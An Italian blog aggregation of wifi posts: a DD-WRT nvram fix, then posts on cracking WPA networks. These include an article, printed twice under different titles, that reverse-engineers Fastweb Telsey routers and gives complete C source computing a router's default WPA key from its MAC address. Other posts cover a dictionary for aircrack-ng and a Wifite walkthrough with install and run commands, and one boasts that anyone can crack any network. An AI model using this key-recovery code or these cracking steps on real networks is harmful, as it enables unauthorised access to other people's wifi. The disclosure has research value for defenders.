set
14

DD-WRT continua a reimpostare la crittografia da AES a TKIP: ecco come risolvere

 

Possiedo un router Cisco WRT54G con il firmware DD-WRT versione v24 preSP2 [Beta] Build 14896. Da parecchio riscontro dei problemi con il segnale wifi che saltuariamente diventa debole o instabile e mi tocca riavviare l’antenna. Tuttavia ciò è sopportabile, invece il problema che mi affliggeva da un paio di giorni era ben più serio: il segnale Wi-Fi dell’interfaccia fisica non era utilizzabile, mentre quello di un’interfaccia virtuale che ho attivato sì.

Dopo un breve controllo è venuto fuori che il tipo di crittografia impostato per la protezione WPA sull’interfaccia fisica era TKIP, mentre quello dell’interfaccia virtuale AES. Oltretutto, nel forum ufficiale un utente aveva avuto un problema analogo e aveva riportato una indicazione abbastanza chiara da un altro thread:

Please note that WPA2-AES is the only security type that works reliably with DD-wrt.

Tutto contento ho cambiato l’impostazione e ho controllato che funzionasse. Effettivamente il problema era risolto, ma è bastato riavviare il router per accorgermi che il problema era ritornato: il parametro si era reimpostato “da solo” a TKIP.

L’impostazione problematica dell’interfaccia fisica

A questo punto ho cercato ancora un po’ in giro, finché non ho trovato altri utenti che avevano il mio stesso problema, ovvero la configurazione che non veniva salvata. La soluzione di uno di loro è stata chiarificatrice:

My nvram was exhausted– I had 17 bytes left. After freeing some space by removing comments in my Firewall script, the AES setting took, and my wireless worked flawlessly again.

Mi sono collegato subito via telnet al router collegandomi col cavo ethernet e ho usato il comando nvram show per vedere i contenuti e la dimensione della memoria interna, l’ultima riga recitava qualcosa come:

size: 32768 bytes (-7 left)

Veniva addirittura un numero negativo di byte rimanenti, indice che la memoria era totalmente piena. Nel mio caso il problema non era lo script del firewall, infatti i miei script personalizzati sono cortissimi, ma a quanto pare risiedeva nelle statistiche di traffico effettuate. Nel wiki di DD-WRT scrivono questo a riguardo:

The ttraff daemon can fill up a couple hundred bytes of nvram space every month. This may not seem like much but nvram is only ~32KB total and is full of lots of other data. Disabling ttraff and clearing it’s old nvram data is sometimes needed for devices with complex configurations, or to keep the router stable. This script will clear all of ttraff’s traffic data from nvram whereas using the ttraff GUI button to delete it still leaves the current month’s variable.

Effettivamente provando a dare nvram show | grep traf venivano fuori un sacco di dati, addirittura del 2011, contenenti le statistiche di quanti dati aveva generato il mio traffico internet dalla rete di casa. Se anche voi avete la memoria quasi esausta, vi consiglio perciò di eliminare la registrazione di questi dati e cancellarli.

Per prima cosa andate quindi all’interfaccia web del router, poi su Services e in fondo alla pagina disattivate il ttraff Daemon. Cliccate prima su Save e poi su Apply Settings. Ora collegatevi via telnet al router (assicurandovi di avere attivato nelle opzioni la possibilità di collegarvi) e dopo aver inserito come utente root e come password la stessa dell’interfaccia web, date questo comando:


for i in $( echo "01 02 03 04 05 06 07 08 09 10 11 12" ); do nvram unset traff-$i-2011; nvram unset traff-$i-2012; done

Come potete vedere è diverso da quello indicato nel wiki, in quanto io ho la versione “micro” del firmware e il comando cut non è presente. Col mio metodo cancellate il traffico di tutti i mesi del 2011 e del 2012, ma vi basta poco per adattarlo ad altri anni.

Ora potete controllare che tutto sia a posto dando di nuovo nvram show | grep traf e dovreste ottenere qualcosa di simile a questo:

ttraff_enable=0
size: 30559 bytes (2209 left)

Ora potete tornare all’interfaccia web e impostare la crittografia AES. Salvate le impostazioni, applicatele e poi riavviate il router. Vedrete che verranno mantenute.

Popularity: unranked [?]



Puoi visualizzare il post originale qui.

gen
20

Buca le WPA con Android!

 

Ciao a tutti!Oggi vorrei parlarvi di WPA Tester per Android.

Il programmino (Free ovviamente) ci aiuterà a "testare" le reti WPA trovando la relativa password, se e solo se, la password non è stata sostituita. Questo perché la password "automatica" è sempre generata dal SSID dell'apparecchio, ed è proprio per questo che WPA Tester sarà uno dei vostri programmi preferiti. Potrete girare con il vostro smartphone/tablet a "testare" le reti e troverete una maggioranza di reti non sicure, grazie a questo strumento. E' sempre buona regola cambiare le password, soprattutto se auto-generate e questo vale non solo per il proprio router.
Il sito ufficiale da cui scaricare l ultima versione lo trovate qui

Popularity: unranked [?]



Puoi visualizzare il post originale qui.

feb
12

HowTo: Algoritmo di generazione delle WPA dei router Fastweb

 

Articolo a cura di Giuseppe Ragozzino

Introduzione

In questo articolo parleremo del procedimento che abbiamo usato per scoprire l algortitmo di generazione delle chiavi WPA nei router fastweb HAG Telsey, distribuiti dalla società Fastweb.

Pre-Analisi del Firmware

Il Firmware è composto tra diversi binari e un file eseguibile, compilato per processori aventi un architettura MIPS32, chiamato key_gen che contiene l istruzioni che portano al calcolo della wpa. L algoritmo riguarda tutti i router che hanno un SSID del tipo FASTWEB-1-002196XXXXXX o FASTWEB-1-00036FXXXXXX.

Estrazione del Firmware

Per estrarre il firmware del seguente router abbiamo avuto bisogno dell accesso alla console seriale dell apparecchio.

Ciò è stato possibile grazie all estrapolazione di resistenze fra i contatti TX e RX che andavano a collegarsi con la CPU, e creando dei ponticelli tra i rispettivi pin Vcc con i pin RX e TX. La CPU è una BCM96358 e quindi MIPS32 BigEndian, dettaglio importante per reversare l eseguibile. Una volta saldati i pin di connessione tra di loro e dopo aver impostato i parametri di comunicazione, che sono 115200 baud/s, 8data bit e flow control Xon/Xoff, la console è risultata accessibile e abbiamo potuto verificare che il file key_gen si trovasse nella cartella /bin. A questo punto abbiamo effettuato il dump dell intero firmware e diversi altri file che venivano richiamati dall eseguibile key_gen.

Reverse engineering del Firmware e spiegazioni di parte del codice

Una volta avuto l intero Firmware l abbiamo analizzato con il noto programma di decompilazione IDA, e abbiamo scoperto che all interno del file key_gen è pur vero che sono chiamate altre librerie, ma queste non sono necessarie poichè sono solo librerie di runtime, quindi per capire come agiva l algoritmo ci è bastato solo studiare il contenuto di key_gen. Nell algoritmo vengono trattati il MAC Address BSSID dell apparato, di cui ogni coppia di cifre viene trattata come 1 byte, per un complessivo, quindi, di 6 byte.

Per prima cosa viene creato un vettore di 256 byte e il MAC viene trattato come una sequenza di byte secondo una permutazione statica a blocchi di 4 byte ciascuno. Come vediamo dall algoritmo il primo schema di MAC generico è per il seguente primo MAC 11:22:33:44:55:66, cioè 112233445566, quindi lo schema diventa il seguente (sempre considerando che l architettura è MIPS32 big-endian e che quindi i byte saranno copiati in memoria nell ordine della quartina):

66221166,22112266,55334433,55443333,33553311,33664422,11551122,22552211,
33553333,44224455,55225544,66226666,33221166,22112222,55332244,44446633
55556655,66225511,33661166,33224466,66333355,33442255,11555544,44116644,
55441111,44332222,33223366,22445544,11334455,11113333,11111166,22222255,
55113333,44444411,11335522,66666611,11556611,22226633,33336622,44443344,
22113355,22663366,11225511,22222255,33333333,44444444,66551122,55116666,
22116611,11226622,33335533,44555544,55442266,66662255,44112266,44221155,
55333366,55444422,33554411,33446622,44223344,66112233,66445522,11334411.

Ogni vettore dello schema è costituito da 64 blocchi di 4 byte, e ogni singolo blocco di un vettore viene salvato in memoria in modo da formare un intero a 32bit, in cui il byte significativo è il primo per poi proseguire nell elenco. Una volta riempito il vettore troviamo una funzione hashword in cui il vettore viene processato in modo iterativo un blocco alla volta dando come risultato una sequenza di 4 byte espressa in esadecimale che verrà chiamata S1. La funzione hashword è la seguente:


uint32_t hashword(const uint32_t*, /* the key, an array of uint32_t values */
size_t , /* the length of the key, in uint32_ts */
uint32_t); /* the previous hash, or an arbitrary value */

Come vediamo la funzione prende in ingresso un array di elementi a 32 bit, una dimensione int, e un valore di inizializzazione posto uguale a 0, quest ultimo valore in seguito diventerà il valore ricavato dal ouptut del precedente ciclo, tutto questo avviene per 64 cicli in modo tale da scorrere l intero vettore. In seguito si dovrà ottenere un nuovo vettore da 256 byte ricavato dal primo al quale vengono applicate alcune operazioni aritmetiche (LeftShift e RightShift) ad ogni blocco di byte.

Fatto ciò l’algoritmo riapplica la funzione hashword al nuovo vettore ottenenedo una nuova sequenza di 4 byte espressa in esadecimale, che chiameremo S2. Avuto i valori S1 e S2 possiamo ricavare la WPA finale, che si ottiene prendendo le ultime 5 cifre dell S1 e le prime 5 cifre dell S2.

A tal fine possiamo concludere che i router HAG Telsey distribuiti da Fastweb che sembravano invulnerabili, in realtà lo sono. Chi volesse testare la propria sicurezza può compilare il codice seguente, lanciarlo e poi cambiare WPA di corsa!

Codice

Ecco il codice da compilare per effettuare dei test sulla propria rete:

#include <string.h>
#include <sys/param.h>
#ifdef linux
#include <endian.h>
#endif

#if (defined(__BYTE_ORDER) && defined(__LITTLE_ENDIAN) &&
     __BYTE_ORDER == __LITTLE_ENDIAN) ||
    (defined(i386) || defined(__i386__) || defined(__i486__) ||
     defined(__i586__) || defined(__i686__) || defined(vax) || defined(MIPSEL))
#define L_ENDIAN 1
#elif (defined(__BYTE_ORDER) && defined(__BIG_ENDIAN) &&
       __BYTE_ORDER == __BIG_ENDIAN) ||
      (defined(sparc) || defined(POWERPC) || defined(mc68000) || defined(sel))
#undef L_ENDIAN
#endif

#define rot(x,k) (((x)<<(k)) | ((x)>>(32-(k))))

#define mix(a,b,c)
{
  a -= c;  a ^= rot(c, 4);  c += b;
  b -= a;  b ^= rot(a, 6);  a += c;
  c -= b;  c ^= rot(b, 8);  b += a;
  a -= c;  a ^= rot(c,16);  c += b;
  b -= a;  b ^= rot(a,19);  a += c;
  c -= b;  c ^= rot(b, 4);  b += a;
}

#define final(a,b,c)
{
  c ^= b; c -= rot(b,14);
  a ^= c; a -= rot(c,11);
  b ^= a; b -= rot(a,25);
  c ^= b; c -= rot(b,16);
  a ^= c; a -= rot(c,4);
  b ^= a; b -= rot(a,14);
  c ^= b; c -= rot(b,24);
}

#define DEBUG 1

uint8_t      mac[6];
uint32_t rTable[64];
uint8_t pTable[256] = {
    6,2,1,6,2,1,2,6,5,3,4,3,5,4,3,3,3,5,3,1,3,6,4,2,1,5,1,2,2,5,2,1,
    3,5,3,3,4,2,4,5,5,2,5,4,6,2,6,6,3,2,1,6,2,1,2,2,5,3,2,4,4,4,6,3,
    5,5,6,5,6,2,5,1,3,6,1,6,3,2,4,6,6,3,3,5,3,4,2,5,1,5,5,4,4,1,6,4,
    5,4,1,1,4,3,2,2,3,2,3,6,2,4,5,4,1,3,4,5,1,1,3,3,1,1,1,6,2,2,2,5,
    5,1,3,3,4,4,4,1,1,3,5,2,6,6,6,1,1,5,6,1,2,2,6,3,3,3,6,2,4,4,3,4,
    2,1,3,5,2,6,3,6,1,2,5,1,2,2,2,5,3,3,3,3,4,4,4,4,6,5,1,2,5,1,6,6,
    2,1,6,1,1,2,6,2,3,3,5,3,4,5,5,4,5,4,2,6,6,6,2,5,4,1,2,6,4,2,1,5,
    5,3,3,6,5,4,4,2,3,5,4,1,3,4,6,2,4,2,3,4,6,1,2,3,6,4,5,2,1,3,4,1
};

uint32_t hashword(const uint32_t *k, size_t length, uint32_t initval)
{
    uint32_t a,b,c;
    a = b = c = 0xdeadbeef + (((uint32_t)length)<<2) + initval;
    while (length > 3) {a += k[0]; b += k[1]; c += k[2]; mix(a,b,c); length -= 3; k += 3;}
    switch(length) {case 3 : c+=k[2]; case 2 : b+=k[1]; case 1 : a+=k[0]; final(a,b,c); case 0: break;}
    return c;
}

void parseMac(char *m)
{
    mac[0] = (uint8_t)(strtoul(m+0,0,16) & 0xff);
    mac[1] = (uint8_t)(strtoul(m+3,0,16) & 0xff);
    mac[2] = (uint8_t)(strtoul(m+6,0,16) & 0xff);
    mac[3] = (uint8_t)(strtoul(m+9,0,16) & 0xff);
    mac[4] = (uint8_t)(strtoul(m+12,0,16) & 0xff);
    mac[5] = (uint8_t)(strtoul(m+15,0,16) & 0xff);
    return;
}

void createTable(void)
{
#ifdef DEBUG
    printf("mac address (bssid): %02x:%02x:%02x:%02x:%02x:%02x
",
     mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
    printf("
permuTable indexes: ");
    uint8_t *p;
    p = pTable;
    while(*p) {
     printf("%x", *p);
     ++p;
    }
    printf("

permuTable values: ");
#endif
    uint8_t i, j;
    memset((void *)&rTable, 0x0, sizeof(rTable));
    for (i = 0; i < 64; i++) {
     for (j = 0; j < 4; j++) {
       #ifdef L_ENDIAN
        rTable[i] <<= 8;
        rTable[i] |= mac[pTable[(i*4)+j]-1];
       #else
        rTable[i] >>= 8;
        rTable[i] |= mac[pTable[(i*4)+j]-1] << 24;
       #endif
     }
     #ifdef DEBUG
       printf("%#x ", rTable[i]);
     #endif
    }
}

void createWpa(void)
{
    uint8_t i;
    uint32_t s1 = 0, s2 = 0;

    for (i=0;i<64;++i)
     s1 = hashword(rTable,i,s1);

    #ifdef DEBUG
     printf("

s1 hashword is: %x
", s1);
    #endif
    s1 &= 0x000fffff;
    #ifdef DEBUG
     printf("s1 & 0x000fffff is: %x

permuTable2 values: ", s1);
    #endif

    for (i=0;i<64;++i) {
          if (i < 8 ) rTable[i] <<= 3;
     else if (i < 16) rTable[i] >>= 5;
     else if (i < 32) rTable[i] >>= 2;
        else rTable[i] <<= 7;
        #ifdef DEBUG
               printf("%#x ", rTable[i]);
        #endif
    }

    for (i=0;i<64;++i)
       s2 = hashword(rTable,i,s2);

    #ifdef DEBUG
      printf("

s2 hashword is: %x
", s2);
    #endif

     s2 &= 0xfffff000;
     s2 >>= 12;

    #ifdef DEBUG
     printf("s2 & 0xfffff000 is: %x
", s2);
    #endif

    printf("
wpa: %05x%05x

", s1, s2);

    return;
}

int main(int argc, char *argv[])
{
    if (argc < 2) exit(0);
    char *m = argv[1];
    if (strlen(m) != 17) exit(0);

    #ifdef DEBUG
     printf("
FastWEB Telsey WPA Recovery
		-
");
     printf("
Debug mode is ON, printing stuff to stdout

");
    #endif

    parseMac(m);
    createTable();
    createWpa();

    return 0;
}

Oscene.net non si assume alcuna responsabilità per l uso che verrà fatto dell algoritmo presentato, nè dall uso del sorgente che vi propone. Le tecniche e il codice sono presentati  solo a scopo divulgativo.

Fonte: http://wifiresearchers.wordpress.com/2010/09/09/telsey-fastweb-full-disclosure/

Popularity: unranked [?]



Puoi visualizzare il post originale qui.

feb
12

HowTo: Come scardinare un router Fastweb

 

Articolo a cura di Giuseppe Ragozzino

Introduzione

In questo articolo parleremo del procedimento che abbiamo usato per scoprire l algortitmo di generazione delle chiavi WPA nei router fastweb HAG Telsey, distribuiti dalla società Fastweb.

Pre-Analisi del Firmware

Il Firmware è composto tra diversi binari e un file eseguibile, compilato per processori aventi un architettura MIPS32, chiamato key_gen che contiene l istruzioni che portano al calcolo della wpa. L algoritmo riguarda tutti i router che hanno un SSID del tipo FASTWEB-1-002196XXXXXX o FASTWEB-1-00036FXXXXXX.

Estrazione del Firmware

Per estrarre il firmware del seguente router abbiamo avuto bisogno dell accesso alla console seriale dell apparecchio.

Ciò è stato possibile grazie all estrapolazione di resistenze fra i contatti TX e RX che andavano a collegarsi con la CPU, e creando dei ponticelli tra i rispettivi pin Vcc con i pin RX e TX. La CPU è una BCM96358 e quindi MIPS32 BigEndian, dettaglio importante per reversare l eseguibile. Una volta saldati i pin di connessione tra di loro e dopo aver impostato i parametri di comunicazione, che sono 115200 baud/s, 8data bit e flow control Xon/Xoff, la console è risultata accessibile e abbiamo potuto verificare che il file key_gen si trovasse nella cartella /bin. A questo punto abbiamo effettuato il dump dell intero firmware e diversi altri file che venivano richiamati dall eseguibile key_gen.

Reverse engineering del Firmware e spiegazioni di parte del codice

Una volta avuto l intero Firmware l abbiamo analizzato con il noto programma di decompilazione IDA, e abbiamo scoperto che all interno del file key_gen è pur vero che sono chiamate altre librerie, ma queste non sono necessarie poichè sono solo librerie di runtime, quindi per capire come agiva l algoritmo ci è bastato solo studiare il contenuto di key_gen. Nell algoritmo vengono trattati il MAC Address BSSID dell apparato, di cui ogni coppia di cifre viene trattata come 1 byte, per un complessivo, quindi, di 6 byte.

Per prima cosa viene creato un vettore di 256 byte e il MAC viene trattato come una sequenza di byte secondo una permutazione statica a blocchi di 4 byte ciascuno. Come vediamo dall algoritmo il primo schema di MAC generico è per il seguente primo MAC 11:22:33:44:55:66, cioè 112233445566, quindi lo schema diventa il seguente (sempre considerando che l architettura è MIPS32 big-endian e che quindi i byte saranno copiati in memoria nell ordine della quartina):

66221166,22112266,55334433,55443333,33553311,33664422,11551122,22552211,
33553333,44224455,55225544,66226666,33221166,22112222,55332244,44446633
55556655,66225511,33661166,33224466,66333355,33442255,11555544,44116644,
55441111,44332222,33223366,22445544,11334455,11113333,11111166,22222255,
55113333,44444411,11335522,66666611,11556611,22226633,33336622,44443344,
22113355,22663366,11225511,22222255,33333333,44444444,66551122,55116666,
22116611,11226622,33335533,44555544,55442266,66662255,44112266,44221155,
55333366,55444422,33554411,33446622,44223344,66112233,66445522,11334411.

Ogni vettore dello schema è costituito da 64 blocchi di 4 byte, e ogni singolo blocco di un vettore viene salvato in memoria in modo da formare un intero a 32bit, in cui il byte significativo è il primo per poi proseguire nell elenco. Una volta riempito il vettore troviamo una funzione hashword in cui il vettore viene processato in modo iterativo un blocco alla volta dando come risultato una sequenza di 4 byte espressa in esadecimale che verrà chiamata S1. La funzione hashword è la seguente:


uint32_t hashword(const uint32_t*, /* the key, an array of uint32_t values */
size_t , /* the length of the key, in uint32_ts */
uint32_t); /* the previous hash, or an arbitrary value */

Come vediamo la funzione prende in ingresso un array di elementi a 32 bit, una dimensione int, e un valore di inizializzazione posto uguale a 0, quest ultimo valore in seguito diventerà il valore ricavato dal ouptut del precedente ciclo, tutto questo avviene per 64 cicli in modo tale da scorrere l intero vettore. In seguito si dovrà ottenere un nuovo vettore da 256 byte ricavato dal primo al quale vengono applicate alcune operazioni aritmetiche (LeftShift e RightShift) ad ogni blocco di byte.

Fatto ciò l’algoritmo riapplica la funzione hashword al nuovo vettore ottenenedo una nuova sequenza di 4 byte espressa in esadecimale, che chiameremo S2. Avuto i valori S1 e S2 possiamo ricavare la WPA finale, che si ottiene prendendo le ultime 5 cifre dell S1 e le prime 5 cifre dell S2.

A tal fine possiamo concludere che i router HAG Telsey distribuiti da Fastweb che sembravano invulnerabili, in realtà lo sono. Chi volesse testare la propria sicurezza può compilare il codice seguente, lanciarlo e poi cambiare WPA di corsa!

Codice

Ecco il codice da compilare per effettuare dei test sulla propria rete:

#include <string.h>
#include <sys/param.h>
#ifdef linux
#include <endian.h>
#endif

#if (defined(__BYTE_ORDER) && defined(__LITTLE_ENDIAN) &&
     __BYTE_ORDER == __LITTLE_ENDIAN) ||
    (defined(i386) || defined(__i386__) || defined(__i486__) ||
     defined(__i586__) || defined(__i686__) || defined(vax) || defined(MIPSEL))
#define L_ENDIAN 1
#elif (defined(__BYTE_ORDER) && defined(__BIG_ENDIAN) &&
       __BYTE_ORDER == __BIG_ENDIAN) ||
      (defined(sparc) || defined(POWERPC) || defined(mc68000) || defined(sel))
#undef L_ENDIAN
#endif

#define rot(x,k) (((x)<<(k)) | ((x)>>(32-(k))))

#define mix(a,b,c)
{
  a -= c;  a ^= rot(c, 4);  c += b;
  b -= a;  b ^= rot(a, 6);  a += c;
  c -= b;  c ^= rot(b, 8);  b += a;
  a -= c;  a ^= rot(c,16);  c += b;
  b -= a;  b ^= rot(a,19);  a += c;
  c -= b;  c ^= rot(b, 4);  b += a;
}

#define final(a,b,c)
{
  c ^= b; c -= rot(b,14);
  a ^= c; a -= rot(c,11);
  b ^= a; b -= rot(a,25);
  c ^= b; c -= rot(b,16);
  a ^= c; a -= rot(c,4);
  b ^= a; b -= rot(a,14);
  c ^= b; c -= rot(b,24);
}

#define DEBUG 1

uint8_t      mac[6];
uint32_t rTable[64];
uint8_t pTable[256] = {
    6,2,1,6,2,1,2,6,5,3,4,3,5,4,3,3,3,5,3,1,3,6,4,2,1,5,1,2,2,5,2,1,
    3,5,3,3,4,2,4,5,5,2,5,4,6,2,6,6,3,2,1,6,2,1,2,2,5,3,2,4,4,4,6,3,
    5,5,6,5,6,2,5,1,3,6,1,6,3,2,4,6,6,3,3,5,3,4,2,5,1,5,5,4,4,1,6,4,
    5,4,1,1,4,3,2,2,3,2,3,6,2,4,5,4,1,3,4,5,1,1,3,3,1,1,1,6,2,2,2,5,
    5,1,3,3,4,4,4,1,1,3,5,2,6,6,6,1,1,5,6,1,2,2,6,3,3,3,6,2,4,4,3,4,
    2,1,3,5,2,6,3,6,1,2,5,1,2,2,2,5,3,3,3,3,4,4,4,4,6,5,1,2,5,1,6,6,
    2,1,6,1,1,2,6,2,3,3,5,3,4,5,5,4,5,4,2,6,6,6,2,5,4,1,2,6,4,2,1,5,
    5,3,3,6,5,4,4,2,3,5,4,1,3,4,6,2,4,2,3,4,6,1,2,3,6,4,5,2,1,3,4,1
};

uint32_t hashword(const uint32_t *k, size_t length, uint32_t initval)
{
    uint32_t a,b,c;
    a = b = c = 0xdeadbeef + (((uint32_t)length)<<2) + initval;
    while (length > 3) {a += k[0]; b += k[1]; c += k[2]; mix(a,b,c); length -= 3; k += 3;}
    switch(length) {case 3 : c+=k[2]; case 2 : b+=k[1]; case 1 : a+=k[0]; final(a,b,c); case 0: break;}
    return c;
}

void parseMac(char *m)
{
    mac[0] = (uint8_t)(strtoul(m+0,0,16) & 0xff);
    mac[1] = (uint8_t)(strtoul(m+3,0,16) & 0xff);
    mac[2] = (uint8_t)(strtoul(m+6,0,16) & 0xff);
    mac[3] = (uint8_t)(strtoul(m+9,0,16) & 0xff);
    mac[4] = (uint8_t)(strtoul(m+12,0,16) & 0xff);
    mac[5] = (uint8_t)(strtoul(m+15,0,16) & 0xff);
    return;
}

void createTable(void)
{
#ifdef DEBUG
    printf("mac address (bssid): %02x:%02x:%02x:%02x:%02x:%02x
",
     mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
    printf("
permuTable indexes: ");
    uint8_t *p;
    p = pTable;
    while(*p) {
     printf("%x", *p);
     ++p;
    }
    printf("

permuTable values: ");
#endif
    uint8_t i, j;
    memset((void *)&rTable, 0x0, sizeof(rTable));
    for (i = 0; i < 64; i++) {
     for (j = 0; j < 4; j++) {
       #ifdef L_ENDIAN
        rTable[i] <<= 8;
        rTable[i] |= mac[pTable[(i*4)+j]-1];
       #else
        rTable[i] >>= 8;
        rTable[i] |= mac[pTable[(i*4)+j]-1] << 24;
       #endif
     }
     #ifdef DEBUG
       printf("%#x ", rTable[i]);
     #endif
    }
}

void createWpa(void)
{
    uint8_t i;
    uint32_t s1 = 0, s2 = 0;

    for (i=0;i<64;++i)
     s1 = hashword(rTable,i,s1);

    #ifdef DEBUG
     printf("

s1 hashword is: %x
", s1);
    #endif
    s1 &= 0x000fffff;
    #ifdef DEBUG
     printf("s1 & 0x000fffff is: %x

permuTable2 values: ", s1);
    #endif

    for (i=0;i<64;++i) {
          if (i < 8 ) rTable[i] <<= 3;
     else if (i < 16) rTable[i] >>= 5;
     else if (i < 32) rTable[i] >>= 2;
        else rTable[i] <<= 7;
        #ifdef DEBUG
               printf("%#x ", rTable[i]);
        #endif
    }

    for (i=0;i<64;++i)
       s2 = hashword(rTable,i,s2);

    #ifdef DEBUG
      printf("

s2 hashword is: %x
", s2);
    #endif

     s2 &= 0xfffff000;
     s2 >>= 12;

    #ifdef DEBUG
     printf("s2 & 0xfffff000 is: %x
", s2);
    #endif

    printf("
wpa: %05x%05x

", s1, s2);

    return;
}

int main(int argc, char *argv[])
{
    if (argc < 2) exit(0);
    char *m = argv[1];
    if (strlen(m) != 17) exit(0);

    #ifdef DEBUG
     printf("
FastWEB Telsey WPA Recovery
		-
");
     printf("
Debug mode is ON, printing stuff to stdout

");
    #endif

    parseMac(m);
    createTable();
    createWpa();

    return 0;
}

Oscene.net non si assume alcuna responsabilità per l uso che verrà fatto dell algoritmo presentato, nè dall uso del sorgente che vi propone. Le tecniche e il codice sono presentati  solo a scopo divulgativo.

Popularity: unranked [?]



Puoi visualizzare il post originale qui.

feb
08

Bucare reti WPA e WPA2 con aircrack-ng e WpaList!

 

Bucare reti Wifi con aircrack-ng e Backtrack ormai è alla portata di tutti, anche i neofiti possono semplicemente, seguendo un video, bucare qualsiasi rete: WEP o WPA di sorta! :D
Ecco come fare: scaricate WpaList che comprende ben 64 milioni di parole!

ENJOY :D

Popularity: unranked [?]



Puoi visualizzare il post originale qui.

ott
28

Cracking facile facile di una rete wifi con Wifite

 

 

 

Wifite è un ottimo strumento per il cracking di reti wifi, in grado di semplificare e velocizzare di molto i parametri da lanciare ad airmon-ng airodump-ng aireplay-ng aircrack-ng. In questo post non mi soffermerò sugli aspetti tecnici e su spiegazioni varie di termini come: chiave wep,wpa,wpa2,ivs,handshake,bruteforce ecc ecc, di spiegazioni e guide sul web se ne trovano in abbondanza. Mi voglio invece soffermare sulla semplicità di utilizzo di Wifite e su quello che è in grado di fare. I punti di forza riguardano la possibilità di cracking di diverse reti in contemporanea, la gestione del monitor mode in maniera automatica,la possibilità di usare un attacco con dizionario, la gestione automatica di tutti i passaggi, dal fake mac address al cracking finale della rete, l'interfaccia grafica e diverse altre opzioni di configurazione. Detto ciò non mi rimane che ricordare, semmai ce ne fosse bisogno, che il cracking senza il consenso del proprietario della rete è illegale,illegale,illegale.

Requisiti:

# apt-get install xterm python-tk macchanger pyrit

più la versione di Aircrack-ng 1.1, e siccome nella  maggior parte dei casi nei repo si trova la versione 1.,0, non ci resta che installarla da sorgenti:

$ wget http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz

$ tar -zxvf aircrack-ng-1.1.tar.gz

$ cd aircrack-ng-1.1

$ make

$ make install

Scaricare Wifite:

$ wget -O wifite.py http://wifite.googlecode.com/svn/trunk/wifite.py

$ chmod +x wifite.py

# ./wifite.py

Una volta avviato lo script non ci resta che spuntare le opzioni ed attendere la fine del lavoro, di seguito due immagini di Wifite al lavoro, con relativo cracking di una chiave wep.

nell'immagine sopra si leggono le opzioni scelte, e si è in attesa dello sniffing di eventuali reti.

 

qui sopra invece si vede la riuscita del cracking, sotto il colore rosso c'è il nome della rete attaccata, sotto il giallo invece si nasconde la password trovata. Da notare che la password è stata trovata con circa 15000 ivs. In conclusione questo script secondo me è ottimo, e ti fa risparmiare tempo e terminali aperti.

enjoi :)

Share

Related posts:

  1. Vnstat per monitorare la rete Vnstat è un ottimo tool open source per monitorare la…
  2. Statistiche di sistema con Saidar Saidar è un tool che serve per monitorare il sistema….

Popularity: unranked [?]



Puoi visualizzare il post originale qui.

mar
23

Interfaccia grafica Aircrack, versione 0.7.3.0 – Dizionario contro reti WPA/WPA2

 

Popularity: 1% [?]



Puoi visualizzare il post originale qui.

mar
23

Interfaccia grafica Aircrack 0.7.3.0 – Realizzare dizionario per reti wpa/wpa2

 

Popularity: 1% [?]



Puoi visualizzare il post originale qui.

nov
12

Video Presentazione: Interfaccia Grafica per Aircrack :)

 

Popularity: 1% [?]



Puoi visualizzare il post originale qui.

set
09

Aircrack-ng raggiunge la versione 1.0

 

Dopo quasi due anni di intenso lavoro di sviluppo, è finalmente disponibile la release 1.0 di Aircrack-ng. Per coloro i quali non avessero ancora avuto l’opportunità di conoscere questo software, possiamo dire che si tratta di set di strumenti specializzati nell’analisi delle reti wireless e finalizzati allo scopo ultimo di craccare (qualora ce ne fosse bisogno) chiavi WEP e WPA-PSK.

Incorpora un packet sniffer e diversi mini-programmi atti ad analizzare i pacchetti che sempre vengono scambiati tra un router ed un dispositivo ad esso collegato senza l’ausilio di cavi. Aircrack-ng può essere utilizzato da chiunque sia in possesso di una scheda wireless in grado di supportare la modalità di monitoraggio raw.

Questa versione 1.0 è disponibile per Windows e Linux, con “ports” appositamente studiati per i dispositivi Zaurus e Maemo. Per maggiori informazioni sul software in questione potete fare tranquillamente affidamento sul nuovo sito internet del progetto (con nuovo logo).

Popularity: 1% [?]



Puoi visualizzare il post originale qui.

apr
28

Lezione #2: realizzare un Hotspot partendo dalla fine.

 

Il mio collega Loris ha da tempo un desiderio, quello di dare l’accesso alla wifi dell’ufficio attraverso username e password, e non attraverso ad un’unica chiave di accesso come avviene per la maggior parte delle reti. Il vantaggio sarebbe notevole dato che in questo modo si potrebbe garantire un accesso giornaliero agli ospiti senza dover cambiare la password dell’access point il giorno seguente. Come si fa una cosa del genere senza avere un router/accesspoint che gestisca in autonomia i login? Semplice, si crea un Hotspot con un computer connesso alla rete.

Mi sono informato e grazie a Qualsiasi ho conosciuto la tecnica del “Captive Portal”, mi sono documentato e grazie a Wikipedia ho capito il suo funzionamento e come realizzare un hotspot casalingo. Vediamo in teoria come procedere, abbiamo bisogno di un accesspoint e di un pc sempre accesi e connesso alla rete, che abbia due schede di rete.
Procurati questi “materiali”, il procedimento (in linea teorica) è abbastanza semplice. Prendiamo il nostro pc e colleghiamo una scheda di rete alla rete (cioè alla Hub/Switch del vostro router se si tratta di una rete casalinga) e l’altra scheda di rete la colleghiamo all’acess point. Configuriamo il nostro AP in modo che crei una rete wireless non protetta. A questo punto installiamo e configuriamo un software che effettui il Captive Portal.

Piccolissima parentesi per spiegare il captive portal, tramite questa tecnica si utilizza un demone per intercettare tutti i pacchetti richiesti da chi sta efettuando l’accesso e farli passare attraverso un sistema di identificazione. In parole spicciole, chi si connetterà alla rete aperta del nostro AP ed aprirà una pagina web per navigare, come prima pagina troverà una schermata di login da completare per poter accedere alla rete.

Tornando al nostro hotspot, fra tutti i vari software disponibili (per Linux, BSD, Windows, MacOX) ho, teoricamente, scelto chillispot perchè presente nei repository Debian. Chillispot per gestire gli accessi si appoggia a freeradius che a sua volta può gestire gli utenti tramite un banale foglio di testo oppure un più carino database SQL (PostgreSQL, MySQL ed addirittura MS-SQL).

Qui si conclude tutta la parte teorica; per la parte pratica dovrò rimandare a quando avremo tempo di realizzare il tutto.
Intanto vi spiego perchè questa lezione parte dalla fine. Non potendo realizzare l’hostpot, per ammazzare il tempo ho pensato a cosa potesse essere utile una volta completata l’installazione ed ho realizzato uno script per l’inserimento di un utente nel database di in modo automatico. Potete scaricare lo script qui.

Funzionamento dello script
